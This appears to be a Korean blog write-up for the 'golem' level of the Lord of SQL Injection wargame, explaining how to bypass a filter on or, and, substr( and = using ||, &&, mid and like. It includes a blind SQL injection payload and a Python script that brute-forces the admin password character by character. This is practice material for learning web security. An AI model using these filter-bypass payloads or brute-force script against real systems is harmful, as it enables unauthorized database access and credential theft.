if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
이번 문제에서는 or과 and 그리고 substr( 과 = 을 필터링한다
or 대체로는 ||
and 대체로는 &&
substr( 대체로는 mid, substring 이 있다.
= 대체자로는 like가 있다.
substr의 대체자인 mid와 substring은 약간씩 사용법이 다르다.
https://ilsancityboy.tistory.com/67
=의 대체자인 like는 =와는 약간 다르다.
-- 'a'로 시작하는 모든 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE 'a%';
-- 두 번째 문자가 'b'이고, 세 번째 문자가 'c'인 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE '_bc%';
-- 'abc'로 끝나는 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE '%abc';
-- 'x'로 시작하고 'z'로 끝나는 5자리 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE 'x%z';
따라서 전에 문제에 썼던 방법에서 필터링되는 부분들만 우회해서 문제를 풀어나가면 된다.
?pw=' || id like 'admin' %26%26 length(pw)>'1
1부터 숫자를 올려나가 admin의 비밀번호 길이를 유추해나간다.
비밀번호 길이가 7이상은 참이고
8 이상은 거짓인거 보니 길이값이 8인것을 유추할 수 있다.
import requests
import string
cookies = {'PHPSESSID': '50f4eqmosif23mekrv0rosp522'}
characters = string.ascii_letters + string.digits
# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9):
for pw_word in characters:
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
params = {'pw': f"\' || id like \'admin\' && mid(pw, {pw_len}, 1) like \'{pw_word}"}
res = requests.get(url=url, params=params, cookies=cookies)
if "Hello admin" in res.text:
print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
break
따라서 무차별 대입 공격 코드를 작성하고 substr 의 대체인 mid로 바꿔줌으로써 공격이 성공하게 된다.
'Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL injection 13번 문제 - bugbear (0) | 2024.11.11 |
---|---|
Lord of SQL Injection 12번 문제 - drakknight (1) | 2024.11.10 |
Lord of SQL Injection 10번 문제 - skeleton (0) | 2024.05.13 |
Lord of SQL Injection 9번 문제 - Vampire (0) | 2024.05.13 |
Lord of SQL Injection 8번 문제 - Troll (0) | 2024.05.13 |